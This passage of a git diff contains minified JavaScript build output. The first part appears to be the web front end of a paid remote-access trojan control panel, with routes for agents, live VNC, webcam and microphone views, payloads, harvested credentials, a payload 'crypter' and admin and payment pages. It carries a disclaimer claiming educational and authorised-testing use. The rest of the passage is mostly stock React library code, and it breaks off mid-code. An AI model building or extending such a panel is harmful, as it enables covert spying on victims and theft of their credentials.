12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),a.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted/30",children:"© 2026"})]})]}),a.jsx("div",{className:"max-w-6xl mx-auto mt-4 pt-4 border-t border-[#1a1a22]/30",children:a.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted/25 leading-relaxed text-center",children:"This software is provided strictly for educational purposes and authorized penetration testing only. The developer does not promote, condone, or support the use of this tool for unauthorized access, malware distribution, or any illegal activity. By using this software you agree to comply with all applicable laws in your jurisdiction. Use at your own risk."})})]})]})}function lc({children:e}){const{isAuthenticated:t}=ya();return t?a.jsx(a.Fragment,{children:e}):a.jsx(la,{to:"/",replace:!0})}function XV({children:e}){const{isAuthenticated:t,isAdmin:n}=ya();return t?n?a.jsx(a.Fragment,{children:e}):a.jsx(la,{to:"/",replace:!0}):a.jsx(la,{to:"/login",replace:!0})}function ew({children:e}){const{isAuthenticated:t}=ya();return t?a.jsx(la,{to:"/dashboard",replace:!0}):a.jsx(a.Fragment,{children:e})}function ZV(){const[e]=Cx(),t=xr();return m.useEffect(()=>{let n=e.get("token");if(!n){const r=window.location.hash;r.startsWith("#token=")&&(n=decodeURIComponent(r.slice(7)))}n&&n.split(".").length===3&&(Px(n),zi()),t("/dashboard",{replace:!0})},[e,t]),null}function QV(){const{isAuthenticated:e}=ya();return e?a.jsx(la,{to:"/dashboard",replace:!0}):_x()?a.jsx(l_,{}):a.jsx(la,{to:"/login",replace:!0})}function JV(){return a.jsx(z6,{children:a.jsxs(OE,{children:[a.jsx(mt,{path:"/",element:a.jsx(QV,{})}),a.jsx(mt,{path:"/auth",element:a.jsx(ZV,{})}),a.jsx(mt,{path:"/features",element:a.jsx(qV,{})}),a.jsx(mt,{path:"/payment/:id",element:a.jsx(UV,{})}),a.jsx(mt,{path:"/login",element:a.jsx(ew,{children:a.jsx(c_,{})})}),a.jsx(mt,{path:"/register",element:a.jsx(ew,{children:a.jsx(u_,{})})}),a.jsx(mt,{path:"/vnc/:id",element:a.jsx(lc,{children:a.jsx(NV,{})})}),a.jsx(mt,{path:"/webcam/:id",element:a.jsx(lc,{children:a.jsx(EV,{})})}),a.jsx(mt,{path:"/mic/:id",element:a.jsx(lc,{children:a.jsx(AV,{})})}),a.jsxs(mt,{element:a.jsx(lc,{children:a.jsx(t_,{})}),children:[a.jsx(mt,{path:"/dashboard",element:a.jsx(HU,{})}),a.jsx(mt,{path:"/agents/:id",element:a.jsx(xV,{})}),a.jsx(mt,{path:"/events",element:a.jsx(gV,{})}),a.jsx(mt,{path:"/payloads",element:a.jsx(wV,{})}),a.jsx(mt,{path:"/credentials",element:a.jsx(BV,{})}),a.jsx(mt,{path:"/crypter",element:a.jsx(RV,{})}),a.jsx(mt,{path:"/admin",element:a.jsx(XV,{children:a.jsx(LV,{})})})]}),a.jsx(mt,{path:"*",element:a.jsx(la,{to:"/",replace:!0})})]})})}Lm.createRoot(document.getElementById("root")).render(a.jsx(Oh.StrictMode,{children:a.jsx(FE,{children:a.jsx(JV,{})})})); diff --git a/dist/assets/index-BgEhResd.js b/dist/assets/index-BgEhResd.js new file mode 100755 index 0000000..3ad0fbd --- /dev/null +++ b/dist/assets/index-BgEhResd.js @@ -0,0 +1,451 @@ +var cS=Object.defineProperty;var uS=(e,t,n)=>t in e?cS(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n;var Cf=(e,t,n)=>uS(e,typeof t!="symbol"?t+"":t,n);function dS(e,t){for(var n=0;nr[i]})}}}return Object.freeze(Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}))}(function(){const t=document.createElement("link").relList;if(t&&t.supports&&t.supports("modulepreload"))return;for(const i of document.querySelectorAll('link[rel="modulepreload"]'))r(i);new MutationObserver(i=>{for(const s of i)if(s.type==="childList")for(const o of s.addedNodes)o.tagName==="LINK"&&o.rel==="modulepreload"&&r(o)}).observe(document,{childList:!0,subtree:!0});function n(i){const s={};return i.integrity&&(s.integrity=i.integrity),i.referrerPolicy&&(s.referrerPolicy=i.referrerPolicy),i.crossOrigin==="use-credentials"?s.credentials="include":i.crossOrigin==="anonymous"?s.credentials="omit":s.credentials="same-origin",s}function r(i){if(i.ep)return;i.ep=!0;const s=n(i);fetch(i.href,s)}})();function Wr(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var Q2={exports:{}},Yu={},J2={exports:{}},Se={};/** + * @license React + * react.production.min.js + * + * Copyright (c) Facebook, Inc. and its affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var Qo=Symbol.for("react.element"),fS=Symbol.for("react.portal"),mS=Symbol.for("react.fragment"),pS=Symbol.for("react.strict_mode"),hS=Symbol.for("react.profiler"),xS=Symbol.for("react.provider"),vS=Symbol.for("react.context"),gS=Symbol.for("react.forward_ref"),yS=Symbol.for("react.suspense"),bS=Symbol.for("react.memo"),wS=Symbol.for("react.lazy"),Av=Symbol.iterator;function jS(e){return e===null||typeof e!="object"?null:(e=Av&&e[Av]||e["@@iterator"],typeof e=="function"?e:null)}var ew={isMounted:function(){return!1},enqueueForceUpdate:function(){},enqueueReplaceState:function(){},enqueueSetState:function(){}},tw=Object.assign,nw={};function ps(e,t,n){this.props=e,this.context=t,this.refs=nw,this.updater=n||ew}ps.prototype.isReactComponent={};ps.prototype.setState=function(e,t){if(typeof e!="object"&&typeof e!="function"&&e!=null)throw Error("setState(...): takes an object of state variables to update or a function which returns an object of state variables.");this.updater.enqueueSetState(this,e,t,"setState")};ps.prototype.forceUpdate=function(e){this.updater.enqueueForceUpdate(this,e,"forceUpdate")};function rw(){}rw.prototype=ps.prototype;function Ch(e,t,n){this.props=e,this.context=t,this.refs=nw,this.updater=n||ew}var Ph=Ch.prototype=new rw;Ph.constructor=Ch;tw(Ph,ps.prototype);Ph.isPureReactComponent=!0;var Ov=Array.isArray,iw=Object.prototype.hasOwnProperty,Eh={current:null},aw={key:!0,ref:!0,__self:!0,__source:!0};function sw(e,t,n){var r,i={},s=null,o=null;if(t!=null)for(r in t.ref!==void 0&&(o=t.ref),t.key!==void 0&&(s=""+t.key),t)iw.call(t,r)&&!aw.hasOwnProperty(r)&&(i[r]=t[r]);var l=arguments.length-2;if(l===1)i.children=n;else if(1>>1,Z=$[K];if(0>>1;Ki(be,F))yei(G,be)?($[K]=G,$[ye]=F,K=ye):($[K]=be,$[de]=F,K=de);else if(yei(G,F))$[K]=G,$[ye]=F,K=ye;else break e}}return H}function i($,H){var F=$.sortIndex-H.sortIndex;return F!==0?F:$.id-H.id}if(typeof performance=="object"&&typeof performance.now=="function"){var s=performance;e.unstable_now=function(){return s.now()}}else{var o=Date,l=o.now();e.unstable_now=function(){return o.now()-l}}var c=[],u=[],d=1,f=null,p=3,h=!1,x=!1,g=!1,y=typeof setTimeout=="function"?setTimeout:null,v=typeof clearTimeout=="function"?clearTimeout:null,b=typeof setImmediate<"u"?setImmediate:null;typeof navigator<"u"&&navigator.scheduling!==void 0&&navigator.scheduling.isInputPending!==void 0&&navigator.scheduling.isInputPending.bind(navigator.scheduling);function w($){for(var H=n(u);H!==null;){if(H.callback===null)r(u);else if(H.startTime<=$)r(u),H.sortIndex=H.expirationTime,t(c,H);else break;H=n(u)}}function j($){if(g=!1,w($),!x)if(n(c)!==null)x=!0,M(N);else{var H=n(u);H!==null&&W(j,H.startTime-$)}}function N($,H){x=!1,g&&(g=!1,v(S),S=-1),h=!0;var F=p;try{for(w(H),f=n(c);f!==null&&(!(f.expirationTime>H)||$&&!O());){var K=f.callback;if(typeof K=="function"){f.callback=null,p=f.priorityLevel;var Z=K(f.expirationTime<=H);H=e.unstable_now(),typeof Z=="function"?f.callback=Z:f===n(c)&&r(c),w(H)}else r(c);f=n(c)}if(f!==null)var oe=!0;else{var de=n(u);de!==null&&W(j,de.startTime-H),oe=!1}return oe}finally{f=null,p=F,h=!1}}var z=!1,k=null,S=-1,A=5,_=-1;function O(){return!(e.unstable_now()-_$||125<$?console.error("forceFrameRate takes a positive int between 0 and 125, forcing frame rates higher than 125 fps is not supported"):A=0<$?Math.floor(1e3/$):5},e.unstable_getCurrentPriorityLevel=function(){return p},e.unstable_getFirstCallbackNode=function(){return n(c)},e.unstable_next=function($){switch(p){case 1:case 2:case 3:var H=3;break;default:H=p}var F=p;p=H;try{return $()}finally{p=F}},e.unstable_pauseExecution=function(){},e.unstable_requestPaint=function(){},e.unstable_runWithPriority=function($,H){switch($){case 1:case 2:case 3:case 4:case 5:break;default:$=3}var F=p;p=$;try{return H()}finally{p=F}},e.unstable_scheduleCallback=function($,H,F){var K=e.unstable_now();switch(typeof F=="object"&&F!==null?(F=F.delay,F=typeof F=="number"&&0K?($.sortIndex=F,t(u,$),n(c)===null&&$===n(u)&&(g?(v(S),S=-1):g=!0,W(j,F-K))):($.sortIndex=Z,t(c,$),x||h||(x=!0,M(N))),$},e.unstable_shouldYield=O,e.unstable_wrapCallback=function($){var H=p;return function(){var F=p;p=H;try{return $.apply(this,arguments)}finally{p=F}}}})(fw);dw.exports=fw;var TS=dw.exports;/** + * @license React + * react-dom.production.min.js + * + * Copyright (c) Facebook, Inc. and its affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var MS=m,pn=TS;function ee(e){for(var t="https://reactjs.org/docs/error-decoder.html?invariant="+e,n=1;n"u"||typeof window.document>"u"||typeof window.document.createElement>"u"),Lm=Object.prototype.hasOwnProperty,LS=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,Mv={},Lv={};function IS(e){return Lm.call(Lv,e)?!0:Lm.call(Mv,e)?!1:LS.test(e)?Lv[e]=!0:(Mv[e]=!0,!1)}function DS(e,t,n,r){if(n!==null&&n.type===0)return!1;switch(typeof t){case"function":case"symbol":return!0;case"boolean":return r?!1:n!==null?!n.acceptsBooleans:(e=e.toLowerCase().slice(0,5),e!=="data-"&&e!=="aria-");default:return!1}}function RS(e,t,n,r){if(t===null||typeof t>"u"||DS(e,t,n,r))return!0;if(r)return!1;if(n!==null)switch(n.type){case 3:return!t;case 4:return t===!1;case 5:return isNaN(t);case 6:return isNaN(t)||1>t}return!1}function Kt(e,t,n,r,i,s,o){this.acceptsBooleans=t===2||t===3||t===4,this.attributeName=r,this.attributeNamespace=i,this.mustUseProperty=n,this.propertyName=e,this.type=t,this.sanitizeURL=s,this.removeEmptyString=o}var Tt={};"children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style".split(" ").forEach(function(e){Tt[e]=new Kt(e,0,!1,e,null,!1,!1)});[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach(function(e){var t=e[0];Tt[t]=new Kt(t,1,!1,e[1],null,!1,!1)});["contentEditable","draggable","spellCheck","value"].forEach(function(e){Tt[e]=new Kt(e,2,!1,e.toLowerCase(),null,!1,!1)});["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach(function(e){Tt[e]=new Kt(e,2,!1,e,null,!1,!1)});"allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope".split(" ").forEach(function(e){Tt[e]=new Kt(e,3,!1,e.toLowerCase(),null,!1,!1)});["checked","multiple","muted","selected"].forEach(function(e){Tt[e]=new Kt(e,3,!0,e,null,!1,!1)});["capture","download"].forEach(function(e){Tt[e]=new Kt(e,4,!1,e,null,!1,!1)});["cols","rows","size","span"].forEach(function(e){Tt[e]=new Kt(e,6,!1,e,null,!1,!1)});["rowSpan","start"].forEach(function(e){Tt[e]=new Kt(e,5,!1,e.toLowerCase(),null,!1,!1)});var Oh=/[\-:]([a-z])/g;function Th(e){return e[1].toUpperCase()}"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height".split(" ").forEach(function(e){var t=e.replace(Oh,Th);Tt[t]=new Kt(t,1,!1,e,null,!1,!1)});"xlink:actuate xlink:arcrole xlink:role xlink:show xlink:title xlink:type".split(" ").forEach(function(e){var t=e.replace(Oh,Th);Tt[t]=new Kt(t,1,!1,e,"http://www.w3.org/1999/xlink",!1,!1)});["xml:base","xml:lang","xml:space"].forEach(function(e){var t=e.replace(Oh,Th);Tt[t]=new Kt(t,1,!1,e,"http://www.w3.org/XML/1998/namespace",!1,!1)});["tabIndex","crossOrigin"].forEach(function(e){Tt[e]=new Kt(e,1,!1,e.toLowerCase(),null,!1,!1)});Tt.xlinkHref=new Kt("xlinkHref",1,!1,"xlink:href","http://www.w3.org/1999/xlink",!0,!1);["src","href","action","formAction"].forEach(function(e){Tt[e]=new Kt(e,1,!1,e.toLowerCase(),null,!0,!0)});function Mh(e,t,n,r){var i=Tt.hasOwnProperty(t)?Tt[t]:null;(i!==null?i.type!==0:r||!(2l||i[o]!==s[l]){var c=` +`+i[o].replace(" at new "," at ");return e.displayName&&c.includes("")&&(c=c.replace("",e.displayName)),c}while(1<=o&&0<=l);break}}}finally{_f=!1,Error.prepareStackTrace=n}return(e=e?e.displayName||e.name:"")?Zs(e):""}function $S(e){switch(e.tag){case 5:return Zs(e.type);case 16:return Zs("Lazy");case 13:return Zs("Suspense");case 19:return Zs("SuspenseList");case 0:case 2:case 15:return e=Af(e.type,!1),e;case 11:return e=Af(e.type.render,!1),e;case 1:return e=Af(e.type,!0),e;default:return""}}function $m(e){if(e==null)return null;if(typeof e=="function")return e.displayName||e.name||null;if(typeof e=="string")return e;switch(e){case _a:return"Fragment";case Ea:return"Portal";case Im:return"Profiler";case Lh:return"StrictMode";case Dm:return"Suspense";case Rm:return"SuspenseList"}if(typeof e=="object")switch(e.$$typeof){case hw:return(e.displayName||"Context")+".Consumer";case pw:return(e._context.displayName||"Context")+".Provider";case Ih:var t=e.render;return e=e.displayName,e||(e=t.displayName||t.name||"",e=e!==""?"ForwardRef("+e+")":"ForwardRef"),e;case Dh:return t=e.displayName||null,t!==null?t:$m(e.type)||"Memo";case ti:t=e._payload,e=e._init;try{return $m(e(t))}catch{}}return null}function BS(e){var t=e.type;switch(e.tag){case 24:return"Cache";case 9:return(t.displayName||"Context")+".Consumer";case 10:return(t._context.displayName||"Context")+".Provider";case 18:return"DehydratedFragment";case 11:return e=t.render,e=e.displayName||e.name||"",t.displayName||(e!==""?"ForwardRef("+e+")":"ForwardRef");case 7:return"Fragment";case 5:return t;case 4:return"Portal";case 3:return"Root";case 6:return"Text";case 16:return $m(t);case 8:return t===Lh?"StrictMode":"Mode";case 22:return"Offscreen";case 12:return"Profiler";case 21:return"Scope";case 13:return"Suspense";case 19:return"SuspenseList";case 25:return"TracingMarker";case 1:case 0:case 17:case 2:case 14:case 15:if(typeof t=="function")return t.displayName||t.name||null;if(typeof t=="string")return t}return null}function Ni(e){switch(typeof e){case"boolean":case"number":case"string":case"undefined":return e;case"object":return e;default:return""}}function vw(e){var t=e.type;return(e=e.nodeName)&&e.toLowerCase()==="input"&&(t==="checkbox"||t==="radio")}function FS(e){var t=vw(e)?"checked":"value",n=Object.getOwnPropertyDescriptor(e.constructor.prototype,t),r=""+e[t];if(!e.hasOwnProperty(t)&&typeof n<"u"&&typeof n.get=="function"&&typeof n.set=="function"){var i=n.get,s=n.set;return Object.defineProperty(e,t,{configurable:!0,get:function(){return i.call(this)},set:function(o){r=""+o,s.call(this,o)}}),Object.defineProperty(e,t,{enumerable:n.enumerable}),{getValue:function(){return r},setValue:function(o){r=""+o},stopTracking:function(){e._valueTracker=null,delete e[t]}}}}function zl(e){e._valueTracker||(e._valueTracker=FS(e))}function gw(e){if(!e)return!1;var t=e._valueTracker;if(!t)return!0;var n=t.getValue(),r="";return e&&(r=vw(e)?e.checked?"true":"false":e.value),e=r,e!==n?(t.setValue(e),!0):!1}function Cc(e){if(e=e||(typeof document<"u"?document:void 0),typeof e>"u")return null;try{return e.activeElement||e.body}catch{return e.body}}function Bm(e,t){var n=t.checked;return Ze({},t,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:n??e._wrapperState.initialChecked})}function Dv(e,t){var n=t.defaultValue==null?"":t.defaultValue,r=t.checked!=null?t.checked:t.defaultChecked;n=Ni(t.value!=null?t.value:n),e._wrapperState={initialChecked:r,initialValue:n,controlled:t.type==="checkbox"||t.type==="radio"?t.checked!=null:t.value!=null}}function yw(e,t){t=t.checked,t!=null&&Mh(e,"checked",t,!1)}function Fm(e,t){yw(e,t);var n=Ni(t.value),r=t.type;if(n!=null)r==="number"?(n===0&&e.value===""||e.value!=n)&&(e.value=""+n):e.value!==""+n&&(e.value=""+n);else if(r==="submit"||r==="reset"){e.removeAttribute("value");return}t.hasOwnProperty("value")?Wm(e,t.type,n):t.hasOwnProperty("defaultValue")&&Wm(e,t.type,Ni(t.defaultValue)),t.checked==null&&t.defaultChecked!=null&&(e.defaultChecked=!!t.defaultChecked)}function Rv(e,t,n){if(t.hasOwnProperty("value")||t.hasOwnProperty("defaultValue")){var r=t.type;if(!(r!=="submit"&&r!=="reset"||t.value!==void 0&&t.value!==null))return;t=""+e._wrapperState.initialValue,n||t===e.value||(e.value=t),e.defaultValue=t}n=e.name,n!==""&&(e.name=""),e.defaultChecked=!!e._wrapperState.initialChecked,n!==""&&(e.name=n)}function Wm(e,t,n){(t!=="number"||Cc(e.ownerDocument)!==e)&&(n==null?e.defaultValue=""+e._wrapperState.initialValue:e.defaultValue!==""+n&&(e.defaultValue=""+n))}var Qs=Array.isArray;function Va(e,t,n,r){if(e=e.options,t){t={};for(var i=0;i"+t.valueOf().toString()+"",t=Sl.firstChild;e.firstChild;)e.removeChild(e.firstChild);for(;t.firstChild;)e.appendChild(t.firstChild)}});function ho(e,t){if(t){var n=e.firstChild;if(n&&n===e.lastChild&&n.nodeType===3){n.nodeValue=t;return}}e.textContent=t}var io={animationIterationCount:!0,aspectRatio:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},WS=["Webkit","ms","Moz","O"];Object.keys(io).forEach(function(e){WS.forEach(function(t){t=t+e.charAt(0).toUpperCase()+e.substring(1),io[t]=io[e]})});function Nw(e,t,n){return t==null||typeof t=="boolean"||t===""?"":n||typeof t!="number"||t===0||io.hasOwnProperty(e)&&io[e]?(""+t).trim():t+"px"}function kw(e,t){e=e.style;for(var n in t)if(t.hasOwnProperty(n)){var r=n.indexOf("--")===0,i=Nw(n,t[n],r);n==="float"&&(n="cssFloat"),r?e.setProperty(n,i):e[n]=i}}var US=Ze({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function Hm(e,t){if(t){if(US[e]&&(t.children!=null||t.dangerouslySetInnerHTML!=null))throw Error(ee(137,e));if(t.dangerouslySetInnerHTML!=null){if(t.children!=null)throw Error(ee(60));if(typeof t.dangerouslySetInnerHTML!="object"||!("__html"in t.dangerouslySetInnerHTML))throw Error(ee(61))}if(t.style!=null&&typeof t.style!="object")throw Error(ee(62))}}function Km(e,t){if(e.indexOf("-")===-1)return typeof t.is=="string";switch(e){case"annotation-xml":case"color-profile":case"font-face":case"font-face-src":case"font-face-uri":case"font-face-format":case"font-face-name":case"missing-glyph":return!1;default:return!0}}var Ym=null;function Rh(e){return e=e.target||e.srcElement||window,e.correspondingUseElement&&(e=e.correspondingUseElement),e.nodeType===3?e.parentNode:e}var qm=null,Ha=null,Ka=null;function Fv(e){if(e=tl(e)){if(typeof qm!="function")throw Error(ee(280));var t=e.stateNode;t&&(t=Qu(t),qm(e.stateNode,e.type,t))}}function zw(e){Ha?Ka?Ka.push(e):Ka=[e]:Ha=e}function Sw(){if(Ha){var e=Ha,t=Ka;if(Ka=Ha=null,Fv(e),t)for(e=0;e>>=0,e===0?32:31-(eC(e)/tC|0)|0}var Cl=64,Pl=4194304;function Js(e){switch(e&-e){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return e&4194240;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return e&130023424;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 1073741824;default:return e}}function Ac(e,t){var n=e.pendingLanes;if(n===0)return 0;var r=0,i=e.suspendedLanes,s=e.pingedLanes,o=n&268435455;if(o!==0){var l=o&~i;l!==0?r=Js(l):(s&=o,s!==0&&(r=Js(s)))}else o=n&~i,o!==0?r=Js(o):s!==0&&(r=Js(s));if(r===0)return 0;if(t!==0&&t!==r&&!(t&i)&&(i=r&-r,s=t&-t,i>=s||i===16&&(s&4194240)!==0))return t;if(r&4&&(r|=n&16),t=e.entangledLanes,t!==0)for(e=e.entanglements,t&=r;0n;n++)t.push(e);return t}function Jo(e,t,n){e.pendingLanes|=t,t!==536870912&&(e.suspendedLanes=0,e.pingedLanes=0),e=e.eventTimes,t=31-Kn(t),e[t]=n}function aC(e,t){var n=e.pendingLanes&~t;e.pendingLanes=t,e.suspendedLanes=0,e.pingedLanes=0,e.expiredLanes&=t,e.mutableReadLanes&=t,e.entangledLanes&=t,t=e.entanglements;var r=e.eventTimes;for(e=e.expirationTimes;0=so),Xv=" ",Zv=!1;function Kw(e,t){switch(e){case"keyup":return TC.indexOf(t.keyCode)!==-1;case"keydown":return t.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function Yw(e){return e=e.detail,typeof e=="object"&&"data"in e?e.data:null}var Aa=!1;function LC(e,t){switch(e){case"compositionend":return Yw(t);case"keypress":return t.which!==32?null:(Zv=!0,Xv);case"textInput":return e=t.data,e===Xv&&Zv?null:e;default:return null}}function IC(e,t){if(Aa)return e==="compositionend"||!Kh&&Kw(e,t)?(e=Vw(),dc=Uh=oi=null,Aa=!1,e):null;switch(e){case"paste":return null;case"keypress":if(!(t.ctrlKey||t.altKey||t.metaKey)||t.ctrlKey&&t.altKey){if(t.char&&1=t)return{node:n,offset:t-e};e=r}e:{for(;n;){if(n.nextSibling){n=n.nextSibling;break e}n=n.parentNode}n=void 0}n=tg(n)}}function Zw(e,t){return e&&t?e===t?!0:e&&e.nodeType===3?!1:t&&t.nodeType===3?Zw(e,t.parentNode):"contains"in e?e.contains(t):e.compareDocumentPosition?!!(e.compareDocumentPosition(t)&16):!1:!1}function Qw(){for(var e=window,t=Cc();t instanceof e.HTMLIFrameElement;){try{var n=typeof t.contentWindow.location.href=="string"}catch{n=!1}if(n)e=t.contentWindow;else break;t=Cc(e.document)}return t}function Yh(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return t&&(t==="input"&&(e.type==="text"||e.type==="search"||e.type==="tel"||e.type==="url"||e.type==="password")||t==="textarea"||e.contentEditable==="true")}function HC(e){var t=Qw(),n=e.focusedElem,r=e.selectionRange;if(t!==n&&n&&n.ownerDocument&&Zw(n.ownerDocument.documentElement,n)){if(r!==null&&Yh(n)){if(t=r.start,e=r.end,e===void 0&&(e=t),"selectionStart"in n)n.selectionStart=t,n.selectionEnd=Math.min(e,n.value.length);else if(e=(t=n.ownerDocument||document)&&t.defaultView||window,e.getSelection){e=e.getSelection();var i=n.textContent.length,s=Math.min(r.start,i);r=r.end===void 0?s:Math.min(r.end,i),!e.extend&&s>r&&(i=r,r=s,s=i),i=ng(n,s);var o=ng(n,r);i&&o&&(e.rangeCount!==1||e.anchorNode!==i.node||e.anchorOffset!==i.offset||e.focusNode!==o.node||e.focusOffset!==o.offset)&&(t=t.createRange(),t.setStart(i.node,i.offset),e.removeAllRanges(),s>r?(e.addRange(t),e.extend(o.node,o.offset)):(t.setEnd(o.node,o.offset),e.addRange(t)))}}for(t=[],e=n;e=e.parentNode;)e.nodeType===1&&t.push({element:e,left:e.scrollLeft,top:e.scrollTop});for(typeof n.focus=="function"&&n.focus(),n=0;n=document.documentMode,Oa=null,ep=null,lo=null,tp=!1;function rg(e,t,n){var r=n.window===n?n.document:n.nodeType===9?n:n.ownerDocument;tp||Oa==null||Oa!==Cc(r)||(r=Oa,"selectionStart"in r&&Yh(r)?r={start:r.selectionStart,end:r.selectionEnd}:(r=(r.ownerDocument&&r.ownerDocument.defaultView||window).getSelection(),r={anchorNode:r.anchorNode,anchorOffset:r.anchorOffset,focusNode:r.focusNode,focusOffset:r.focusOffset}),lo&&wo(lo,r)||(lo=r,r=Mc(ep,"onSelect"),0La||(e.current=op[La],op[La]=null,La--)}function Be(e,t){La++,op[La]=e.current,e.current=t}var ki={},$t=Ei(ki),Qt=Ei(!1),ra=ki;function es(e,t){var n=e.type.contextTypes;if(!n)return ki;var r=e.stateNode;if(r&&r.__reactInternalMemoizedUnmaskedChildContext===t)return r.__reactInternalMemoizedMaskedChildContext;var i={},s;for(s in n)i[s]=t[s];return r&&(e=e.stateNode,e.__reactInternalMemoizedUnmaskedChildContext=t,e.__reactInternalMemoizedMaskedChildContext=i),i}function Jt(e){return e=e.childContextTypes,e!=null}function Ic(){Ue(Qt),Ue($t)}function ug(e,t,n){if($t.current!==ki)throw Error(ee(168));Be($t,t),Be(Qt,n)}function oj(e,t,n){var r=e.stateNode;if(t=t.childContextTypes,typeof r.getChildContext!="function")return n;r=r.getChildContext();for(var i in r)if(!(i in t))throw Error(ee(108,BS(e)||"Unknown",i));return Ze({},n,r)}function Dc(e){return e=(e=e.stateNode)&&e.__reactInternalMemoizedMergedChildContext||ki,ra=$t.current,Be($t,e),Be(Qt,Qt.current),!0}function dg(e,t,n){var r=e.stateNode;if(!r)throw Error(ee(169));n?(e=oj(e,t,ra),r.__reactInternalMemoizedMergedChildContext=e,Ue(Qt),Ue($t),Be($t,e)):Ue(Qt),Be(Qt,n)}var jr=null,Ju=!1,Hf=!1;function lj(e){jr===null?jr=[e]:jr.push(e)}function rP(e){Ju=!0,lj(e)}function _i(){if(!Hf&&jr!==null){Hf=!0;var e=0,t=Le;try{var n=jr;for(Le=1;e>=o,i-=o,kr=1<<32-Kn(t)+i|n<S?(A=k,k=null):A=k.sibling;var _=p(v,k,w[S],j);if(_===null){k===null&&(k=A);break}e&&k&&_.alternate===null&&t(v,k),b=s(_,b,S),z===null?N=_:z.sibling=_,z=_,k=A}if(S===w.length)return n(v,k),Ke&&$i(v,S),N;if(k===null){for(;SS?(A=k,k=null):A=k.sibling;var O=p(v,k,_.value,j);if(O===null){k===null&&(k=A);break}e&&k&&O.alternate===null&&t(v,k),b=s(O,b,S),z===null?N=O:z.sibling=O,z=O,k=A}if(_.done)return n(v,k),Ke&&$i(v,S),N;if(k===null){for(;!_.done;S++,_=w.next())_=f(v,_.value,j),_!==null&&(b=s(_,b,S),z===null?N=_:z.sibling=_,z=_);return 